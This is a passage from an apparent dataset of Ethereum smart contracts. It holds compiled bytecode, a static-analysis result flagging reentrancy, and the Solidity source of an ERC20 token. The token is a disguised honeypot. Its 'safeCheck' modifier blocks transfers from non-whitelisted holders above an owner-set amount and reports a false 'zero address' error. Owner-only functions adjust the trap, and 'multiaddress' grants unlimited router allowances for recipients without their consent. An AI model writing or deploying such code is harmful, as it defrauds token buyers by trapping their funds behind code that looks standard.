4906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612333680ad78ebc5ac6200000600854611cf790919063ffffffff16565b82101561235257600854680ad78ebc5ac620000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a7272b2509d130e850fa68cfd20a22292db8ce3a7d486300d9bd459218c56b7c64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,956 |
0xe7d70338ee3eceeb83a5e0d350044ffb9e7dcc97
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_TCP(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681